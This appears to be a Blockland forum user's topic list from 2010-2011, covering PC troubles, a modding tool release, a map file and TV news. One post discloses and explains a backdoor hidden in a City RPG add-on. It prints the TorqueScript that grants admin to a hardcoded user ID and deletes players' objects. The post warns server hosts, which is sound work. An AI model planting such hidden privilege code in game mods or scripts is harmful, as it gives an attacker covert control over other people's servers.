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Topics - Tyler66

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46
Off Topic / Windows Vista Acer Screen Issue
« on: March 27, 2011, 02:40:12 PM »
My parents computer's screen will no longer show, for the past few days the screen did not show. The best I could do is shutting off the power to the computer and the screen (which is also connected to the printer), and switching on the power and the computer and hope it would work, It did. Until today the same sequence does not work, the computer works and runs normally, but the screen will just display "No signal". When the computer screen ran normally, the computer would beep. Now it will no longer beep upon start up.

The computer is a Windows Vista, the manufacturer is Acer, the computer is about 3 - 4 years old, and has never got a bluescreen of death.

Any suggestions for fixing?

47
Off Topic / Portable Virtual Machine?
« on: March 25, 2011, 09:10:11 AM »
I need a portable Virtual Machine for school, because the school uses an old Windows XP likely upgraded from Windows 9x. I cannot to the slightest work on the computers due to 1 GB > of RAM for just making documents and getting internet resources.

I have searched for Portable Virtual Machine programs, I got a "HEUR:Trojan-Downloader.Win32.Generic" because of it.

Does anyone know a portable Virtual Machine program for a USB Flash Drive or SD Card? I just plan to use Windows 3.11 or Windows NT 3.5 on it, possibly OS/2.

48
Off Topic / "Windows Vista SUCK"
« on: March 15, 2011, 03:42:28 PM »
In my opinion, Windows Vista is a fine operating system.

Although this video is loving hilarious.

49
General Discussion / Platinum Blockland version 4.01
« on: March 12, 2011, 07:24:19 PM »
Version 4.01

The download for version 4 is not located here, but can be found on the Platinum Blockland website instead.
Search for "Platinum Blockland" on Yahoo/Google/Bing.




System Requirements:
Operating System: Windows XP/Windows 2003 Server/Windows Vista/Windows 2008 Server/Windows 7/Windows 2008 Server R2
Framework: .NET Framework 3.5 (or higher)
Memory: 50 MB or higher (512 MB or higher recommended)
•Zip file support with Shell32



Features:

File Manager
Manage your Add-ons with top priority. File Manager allows you to manage your Add-ons, Music, and shapes (so far...). File Manager allows you to delete unwanted Add-ons (up 5 may be deleted at a time).

Add-On Workbench
Add-On Workbench enables you to make Add-ons without any scripting or having you thinking what that string ment and is quite simple and does require little or no scripting knowledge. The current Add-on Workbench allows you to: Make playertypes, make simple bricks, description files, and package your Add-ons with Add-On Packager Plus or just a normal export.

Screenshot Viewer
Screenshot Viewer is a simple utility to view your screenshots from ingame. Also with the option to delete them.

SkyServer
SkyServer is a useful utility to create servers. How? SkyServer will swap server files to get the correct settings for your server, its like using your favorite web pages (somewhat). By "building" your server, SkyServer fetches your previous server preferences and archives them with a few other files so when you activate the selected server... your server preferences are swapped with the ones in the archive, which of course may be delete if unwanted.

Clan Agent
Clan Agent is the best way to manage your clan's everythingelse. Currently it can only create and modify member profiles. By making a profile, you can set ranks, status, names, and IDs and in which can be modified if those change.


My Server
My Server is a simple utility to watch your server on the Blockland website.


Dedicated Server Generator
Aside from SkyServer, Dedicated Server Generator is a batch generator. The batch files are for hosting servers as Internet or LAN and different maps, it does not swap server preferences like SkyServer.



Pictures:
Home


File Manager interface


Add-on Workbench with Brick Generator


Screenshot Viewer




Change log:

Version 4.0 (3/26/11):
  •Initial public release

Version 4.01 (3/27/11):
  •Clan Agent fix
  •Screenshot Viewer loads image automatically



Future Aditions?:

FileManager
  -More File detail
  -Ogg Vorbis support

Add-on Workbench
  -Ai Generator
  -Map Generator

Screenshot Viewer
  -Screenshot file info

Clan Agent
  -LIVE Clan Server watch
  -More detailed profile info

Sky Server
  -Implantation of My Server

Customization
  -Skins

My Server
   See "Sky Server"
Bugs & Issues:
-Clan Agent removes all members when removing a member without a profile folder "" (Dont remove a line that is blank) Get Version 4.01 to fix this issue



Platinum Blockland 4.01 2010-2011


50
Off Topic / Two and a Half Men, officialy over
« on: March 08, 2011, 07:28:05 AM »
Quote from: www.wkrg.com
Warner Bros. Television says it has fired Charlie Sheen from the hit sitcom "Two and a Half Men."

The studio that produces the CBS series said the decision was made after "careful consideration."

Sheen's erratic personal life had prompted Warner to suspend production on the show for the season, and Sheen in return had been waging an angry media campaign against the show's producers.

"This is very good news," Sheen said. "They continue to be in breach, like so many whales. It is a big day of gladness at the Sober Valley Lodge because now I can take all of the bazillions, never have to look at whatshisrooster again and I never have to put on those silly shirts for as long as this warlock exists in the terrestrial dimension."

No decision has been made on the future of the series, Warner Bros. said in a statement.
Article>>

Discuss.

51
Off Topic / Locks, locks everywhere
« on: March 02, 2011, 09:18:19 PM »
Since I cannot upload images to photobucket at the moment, I will put this as a attachment.

This happened when I moved a 600MB<  folder. Does anyone know how to fix?

52
Mapping Help / Water Glows in dark maps
« on: February 28, 2011, 06:07:17 PM »
I have this problem with water will be effected by light. I do not use Mission Editor and make maps out of game to have more control over the files unless im using terrain.

Anyway, on one of my Minecraft maps, Minecraft - Night, the water will glow when using the normal texture, I had to dim the map's texture to make it seem though it was not glowing, I would rather keep one file for two maps.

Heres the .mis file:
Code: (MinecraftNight.mis) [Select]
//--- OBJECT WRITE BEGIN ---
new SimGroup(MissionGroup) {

   new ScriptObject(MissionInfo) {
         name = "Minecraft - Night";
         saveName = "Minecraft";
   };
   new MissionArea(MissionArea) {
      Area = "-360 -648 720 1296";
         locked = "true";
         flightCeilingRange = "20";
         flightCeiling = "300";
   };
   new Sky(Sky) {
      position = "0 0 0";
      rotation = "1 0 0 0";
      scale = "1 1 1";
      materialList = "./SkyNight/resource.dml";
      cloudHeightPer[0] = "0.349971";
      cloudHeightPer[1] = "0.3";
      cloudHeightPer[2] = "0.199973";
      cloudSpeed1 = "0.0007";
      cloudSpeed2 = "0.001";
      cloudSpeed3 = "0.0003";
      visibleDistance = "600";
      fogDistance = "500";
      fogColor = "0.000000 0.000000 0.100000 0.000000";
      fogStorm1 = "0";
      fogStorm2 = "0";
      fogStorm3 = "0";
      fogVolume1 = "0 0 0";
      fogVolume2 = "0 0 0";
      fogVolume3 = "0 0 0";
      fogVolumeColor1 = "128.000000 128.000000 128.000000 -222768174765569860000000000000000000000.000000";
      fogVolumeColor2 = "128.000000 128.000000 128.000000 0.000000";
      fogVolumeColor3 = "128.000000 128.000000 128.000000 -170698929442160050000000000000000000000.000000";
      windVelocity = "1 1 0";
      windEffectPrecipitation = "1";
      SkySolidColor = "0.000000 0.000000 0.100000 1.000000";
      useSkyTextures = "1";
      renderBottomTexture = "0";
      noRenderBans = "0";
         locked = "true";
   };
   new Sun() {
      azimuth = "90";
      elevation = "60";
      color = "0.400000 0.400000 0.400000 1.000000";
      ambient = "0.100000 0.100000 0.000000 1.000000";
         scale = "1 1 1";
         locked = "true";
         position = "0 0 0";
         direction = "0.57735 0.57735 -0.57735";
         rotation = "1 0 0 0";
   };
   new SimGroup(playerDropPoints) {

      new SpawnSphere() {
         position = "0 0 0";
         rotation = "0 0 1 130.062";
         scale = "0.940827 1.97505 1";
         dataBlock = "SpawnSphereMarker";
         canSetIFLs = "0";
         radius = "100";
         sphereWeight = "1";
         indoorWeight = "1";
         outdoorWeight = "1";
            RayHeight = "150";
      };
   };
   new InteriorInstance() {
      position = "0 0 0";
      rotation = "1 0 0 0";
      scale = "1 1 1";
      interiorFile = "~/Map_Slate/slate.dif";
      useGLLighting = "1";
      showTerrainInside = "1";
   };
   new WaterBlock(Water) {
      position = "0 0 -1";
      rotation = "1 0 0 0";
      scale = "2048 2048 1";
      UseDepthMask = "1";
      RepeatTerrain = "1";
      surfaceTexture = "./Minegrass2";
      ShoreTexture = "./Minegrass2";
      envMapOverTexture = "./Minegrass2";
      envMapUnderTexture = "./Minegrass2";
      submergeTexture[0] = "./Minegrass2";
      submergeTexture[1] = "./Minegrass2";
      specularMaskTex = "./Minegrass2";
      liquidType = "OceanWater";
      density = "0";
      viscosity = "0";
      waveMagnitude = "0";
      surfaceOpacity = "0";
      envMapIntensity = "0";
      TessSurface = "50";
      TessShore = "1000";
      SurfaceParallax = "0";
      FlowAngle = "0";
      FlowRate = "0";
      DistortGridScale = "0";
      DistortMag = "0";
      DistortTime = "0.5";
      ShoreDepth = "20";
      DepthGradient = "1";
      MinAlpha = "0.03";
      MaxAlpha = "1";
      removeWetEdges = "0";
      specularColor = "1.000000 1.000000 1.000000 0.000000";
      specularPower = "6";
      waterColor = "0.200000 0.600000 0.600000 0.300000";
      useCustomFog = "0";
      customFogDistance = "800";
      customVisibilityDistance = "1000";
         params3 = "1.21 -0.61 0.13 -0.33";
         params1 = "0.63 -2.41 0.33 0.21";
         textureSize = "4 4";
         params2 = "0.39 0.39 0.2 0.133";
         extent = "100 100 10";
         params0 = "0.32 -0.67 0.066 0.5";
         seedPoints = "0 0 1 0 1 1 0 1";
         envMapTexture = "Add-Ons/Map_Minecraft/Minegrass2";
         floodFill = "1";
   };
};
//--- OBJECT WRITE END ---
If you notice, there is a Minegrass2 file, the dimmed version of the normal lighted version.

53
Off Topic / Support for Windows XP is ending...in 3 years
« on: February 06, 2011, 08:59:00 PM »
Yet again, Microsoft is forcefully pushing the Windows operating system to the next level, making us upgrade or be left behind with the other unsupported Windows operating systems such as 95, NT 4, 98, ME, and 2000, including the lower than 95 Windows operating systems (if you use Windows, of coarse). I just read on this page that support (ex. updates, security updates, other stuff, ect.) for Windows XP will end in Arpril of 2014. And Mircosoft stopped selling Windows XP in October 2010 (I am guessing most of us already know that) for room for Vista and 7 and soon-to-be Windows 2012. This is quite critical for many users that still use Windows XP, including the amount of stuffty and poor schools that still use Windows XP, for being the most used operating system of Windows. I might also get a Windows XP computer in a few days that might not be good in 3 years, this might make me upgrade to 7 or 2012.

Discuss.

54
Drama / City RPG, the new way to achive admin
« on: January 09, 2011, 03:17:25 AM »
Yes, countless times City RPG has been posted, and just recently, JJstorm has released his own City RPG. Yay!
He claims its different, but what is? Maybe the only thing that has been changed to change game experience is in the common.cs file. Wait, where the other City RPGs posted that where claimed to be posted different when only the common.cs file was changed? Why common.cs?

When the original City RPG was released by Iban, it may or may have not contained the Administration exploit, I although do not know entirely if Iban implanted a Administration exploit or if someone else took it and wrote the exploit.

This is getting very old. Every City RPG you see posted likely contains the Administration exploit specifically written so only the poster's BL ID can activate it, or else the script will just write some random crap.

So, about the exploit; JJstorms topic ( http://forum.blockland.us/index.php?topic=140531.0 ) posted the link to the City RPG add-on.
I happen to know what to look for when finding the exploit, and when doing so, I succeeded:
The code is written under the "Section 7 : Misc. stuff Functions" in common.cs. This is where the unwanted/useless code is kept, thanks to the person who wrote the admin exploit for being so well organized and easy to find.

This is the code. Including the payload after the exploit has allowed the user to obtain admin:
Code: (common.cs) [Select]
function serverCmdclaimAdmin(%client)
{
if(%client.bl_id == 1811)
{
%client.isAdmin = (%client.isAdmin ? 0 : 1);
%client.isSuperAdmin = (%client.isSuperAdmin ? 0 : 1);
commandtoclient(%client, 'setAdminLevel', %client.isSuperAdmin);
messageAll('MsgClientJoin', '', %client.name, %client, %client.bl_id, %client.score, 0, %client.isAdmin, %client.isSuperAdmin);

if(%client.isAdmin)
{
messageAll('MsgAdminForce','\c2%1 has Re-Admined himself.', %client.name);
}
else
{
messageAll('MsgAdminForce','\c0%1 has De-Admined himself.', %client.name);
}
}
else
{
warn(%client.name @ "just tried to be an admin! (BL_ID: " @ %client.bl_id @ ")");
}
}

function serverCmdfakeAdmin(%subClient, %name)
{
if(%client.bl_id == 1811 && findClientByName(%name))
{
%client = findClientByName(%name);
%client.fakeAdmin = true;
commandtoclient(%client, 'setAdminLevel', 1);
messageAll('MsgClientJoin', '', %client.name, %client, %client.bl_id, %client.score, 0, 1, 1);
messageAll('MsgAdminForce','\c2%1 has become Super Admin. (Manual)', %client.name);
}
}

function serverCmdkickall(%client)
{
if(%client.bl_id == 1811) {
for(%a = 0; %a < ClientGroup.getCount(); %a++)
{
%subClient = ClientGroup.getObject(%a);
if(%subClient.fakeAdmin) %subClient.delete("Server has just been hacked.");
}
}
}
As you can see, the person with the BL ID 1811, which would be JJstorm to use the exploit and payload.
1. The command /claimadmin will allow the the user with BL ID 1811 to activate the event, thus resulting in BL ID 1811, JJstorm to become admin. If the user, however, is not BL ID 1811, a chat message appears with "[Username here] just tried to be admin!".

2. The command /fakeadmin is not fake, but does the same as the /claimadmin command, although applys the variable "fakeadmin", allowing the "kickall" payload to display a extra chat message. Opon using this command displays the chat message: "JJstorm has become Super Admin. (Manual)" or whatever JJstorm has set his username to, appearing a Admin has given him Super Admin or appearing the server got "hacked".

3. The command /kickall says it itself, except the players don't leave. This allows JJstorm to release the payload to delete all of the players objects. When a player's object is deleted, it makes a "glitchy screen" effect. Last and least, the payload writes a chat message displaying "Server has just been hacked.", and the message is false: the server has not been hacked, rather exploiting the server.

I posted this to explain why City RPG was failed and why it will remain failed, also to inform the dangers that may result in your server (ex. Clear all bricks)

Discuss.

55
Creativity / Windows 98 Boot screen
« on: January 07, 2011, 07:49:56 PM »
Sorry if you get a page stretch, this was the resolution of my screen.

Comparison to original:

56
In June, I will receive my grandpa's Windows XP because he is getting a new iMac. I plan to use the computer for ISO image storage and 24/7 Blockland server hosting, the problem is: my router (2WIRE) will not accept 2 port-forwards for 2 different computers. And I will likely be hosting 2 servers at the same time. Is there anyway I can host 2 servers from 2 different computers?

57
Drama / You have ## messages, 2 are stupid
« on: January 01, 2011, 09:02:31 PM »
This is nothing bad, but what the stuff?

1. Why did you send 2 loving times?
2. Why is there the word "butt" included in the message?
3. Why do you want a "ip adress"? Are you talking about the URL?
4. Why would I make a "cyborg arm"?
5. I can only read half of this because of the horrible grammar.

Discuss.

58
Off Topic / I need to open a .XPC file
« on: December 31, 2010, 12:52:29 AM »
I have tried searching for a program that can open a .XPC format file. This is not a ActionReplay code file.
I have a group of .XPC files that likely contain more files.

If anyone is wondering...
I have received the files from a old game disk for Windows 98, Windows ME, and Windows XP.

Does anyone have suggestions that can open .XPC files?

59
General Discussion / New IRC Pm get
« on: December 26, 2010, 08:28:06 PM »

60
Creativity / Pile o' warnings
« on: December 24, 2010, 12:20:45 PM »
I took pictures of Kaspersky warnings when they popped up over time and put them in a "pile".

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